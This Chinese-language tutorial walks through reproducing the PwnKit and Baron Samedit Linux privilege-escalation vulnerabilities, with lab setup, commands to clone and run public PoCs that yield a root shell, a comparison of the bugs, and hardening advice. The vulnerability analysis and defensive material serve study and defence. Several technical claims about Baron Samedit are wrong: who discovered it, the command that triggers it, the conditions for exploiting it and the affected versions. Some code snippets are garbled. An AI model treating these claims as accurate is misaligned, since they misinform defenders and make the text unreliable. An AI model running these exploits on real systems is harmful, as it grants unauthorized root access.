从CVE-2021-4034到CVE-2021-3156:手把手复现Linux两大本地提权漏洞(Polkit PwnKit vs Sudo Baron Samedit)
实战剖析Linux本地提权双星漏洞PwnKit与Baron Samedit深度复现指南当安全研究人员在2021年连续披露Polkit和Sudo两大核心组件的提权漏洞时整个Linux社区为之震动。这两个漏洞分别被冠以PwnKit和Baron Samedit的代号不仅因为它们的破坏力惊人更因为它们揭示了Linux权限管理机制中长期存在的设计盲点。本文将带您深入这两个漏洞的技术腹地通过完整的实验环境搭建、PoC调试和对比分析揭示现代Linux系统权限提升攻击的真实面貌。1. 实验环境构建与漏洞背景在开始漏洞复现之前我们需要精心准备实验环境。建议使用VirtualBox或VMware创建隔离的虚拟机环境选择以下任一未打补丁的系统版本Ubuntu 20.04 LTS(policykit-1版本低于0.105-26ubuntu1.2)CentOS 7(polkit版本低于0.112-26.el7_9.1)Debian 10(policykit-1版本低于0.105-25deb10u1)安装基础开发工具链是后续PoC编译的前提# Ubuntu/Debian sudo apt update sudo apt install -y gcc make libc6-dev # CentOS/RHEL sudo yum install -y gcc make glibc-devel两个漏洞虽然都涉及本地提权但技术原理截然不同特性CVE-2021-4034 (PwnKit)CVE-2021-3156 (Baron Samedit)漏洞类型环境变量注入堆缓冲区溢出影响组件polkit的pkexecsudo默认配置利用是否需要用户权限任意普通用户sudoers列表用户提示实验环境务必保持网络隔离避免漏洞利用代码意外泄露到生产环境。2. PwnKit漏洞(CVE-2021-4034)全解析Polkit的pkexec设计初衷是为非特权用户提供可控的特权命令执行通道但Qualys研究团队发现其参数处理存在致命缺陷。当pkexec被调用时如果参数个数为0即argc0程序会错误地将环境变量作为命令执行。2.1 漏洞原理深度剖析正常情况下的pkexec调用流程main(int argc, char *argv[]) { // 参数校验 if (argc 1) { // 错误处理 } // 执行特权操作 }漏洞利用的关键在于内存布局操纵。当通过execve()调用pkexec并故意设置argv为空数组时argv[0]变为NULLargc0pkexec尝试读取argv[1]时越界访问越界读取的内容被当作环境变量解析攻击者通过GCONV_PATH等环境变量注入恶意so库2.2 分步复现指南从GitHub获取经过验证的PoC代码git clone https://github.com/berdav/CVE-2021-4034.git cd CVE-2021-4034 make执行漏洞利用前先验证系统脆弱性$ pkexec --version pkexec version 0.105运行PoC观察提权效果$ whoami 普通用户 $ ./cve-2021-4034 # whoami root关键现象分析PoC会创建恶意GCONV_PATH环境变量利用pkexec的内存处理缺陷加载恶意库最终以root权限执行shell2.3 修复方案对比各发行版采取了不同的修复策略发行版修复版本修复方式Ubuntu0.105-26ubuntu1.2增加argc检查CentOS0.112-26.el7_9.1移除环境变量继承Debian0.105-31deb11u1限制GCONV_PATH作用域临时缓解措施不影响正常功能sudo chmod 0755 /usr/bin/pkexec3. Baron Samedit漏洞(CVE-2021-3156)攻坚与PwnKit不同Sudo的漏洞需要更特定的利用条件但一旦满足其破坏力同样惊人。这个由Apple安全团队发现的堆溢出漏洞隐藏在sudo处理命令行参数的逻辑深处。3.1 漏洞技术内幕漏洞根因在于sudo的转义字符处理缺陷。当执行类似以下命令时sudo -u#-1 whoamisudo在解析用户ID参数时错误处理负号(-)作为转义字符导致堆缓冲区边界计算错误精心构造的参数可覆盖相邻内存最终实现任意代码执行3.2 实战复现过程准备具有sudo权限的测试账户sudo useradd -m testuser sudo passwd testuser sudo usermod -aG sudo testuser验证sudo版本是否脆弱$ sudo --version Sudo version 1.8.27使用公开PoC进行验证git clone https://github.com/blasty/CVE-2021-3156.git cd CVE-2021-3156 make执行漏洞利用su testuser $ ./sudo-hax-me-a-sandwich # whoami root3.3 利用条件深度分析成功利用需要四重条件同时满足版本要求sudo 1.8.28权限要求用户在sudoers列表中语法要求sudoers规则包含ALL关键词知识要求知道当前用户密码这种苛刻条件使得该漏洞在真实环境中较难大规模利用但对特定目标极具威胁。4. 双漏洞横向对比与防御体系构建通过实际复现两个漏洞我们可以总结出Linux权限提升攻击的一些共性规律4.1 技术特性对比维度PwnKitBaron Samedit利用复杂度★★☆☆☆ (简单)★★★★☆ (复杂)影响范围几乎所有主流发行版特定sudo配置系统持久性漏洞修复后不可用配置错误可能导致复发检测难度日志特征明显可伪装为正常sudo操作缓解措施移除SUID位有效需要修改sudoers配置4.2 企业级防御方案基于这两个漏洞的特点建议部署分层防御基础防护层# 定期更新软件包 sudo apt update sudo apt upgrade -y # 检查SUID程序 find / -perm -4000 -type f -exec ls -la {} \;高级监控层部署auditd监控敏感操作sudo auditctl -a always,exit -F path/usr/bin/pkexec -F permx sudo auditctl -a always,exit -F path/usr/bin/sudo -F permx配置syslog集中收集权限变更日志架构安全层实施最小权限原则定期进行漏洞扫描关键系统部署沙箱环境在云原生环境下还需要特别注意容器逃逸风险。这两个漏洞都可能成为容器突破隔离的跳板建议在Kubernetes环境中securityContext: runAsNonRoot: true allowPrivilegeEscalation: false capabilities: drop: [ALL]5. 从漏洞研究到安全编程的思考通过这两个典型案例我们可以提炼出一些安全开发的关键原则边界检查原则所有外部输入都应验证边界// 反面教材 void process_args(char **argv) { char buf[256]; strcpy(buf, argv[1]); // 无边界检查 }最小权限原则SUID程序应尽可能降低权限// 正确做法 setresgid(getgid(), getgid(), getgid()); setresuid(getuid(), getuid(), getuid());深度防御原则关键操作应有多层校验在实际安全评估中我们发现很多企业系统虽然及时打了补丁但仍然存在以下问题补丁未正确安装临时缓解措施被意外还原相似架构的漏洞未被排查建议建立漏洞管理的闭环流程漏洞披露 → 2. 影响评估 → 3. 补丁测试生产部署 → 5. 验证检查 → 6. 监控预警这两个漏洞的复现过程让我深刻体会到即使像Linux这样经过严格审计的开源项目仍然可能存在深藏多年的特权提升漏洞。安全工程师需要保持对系统底层机制的持续学习才能在漏洞出现时快速定位问题本质。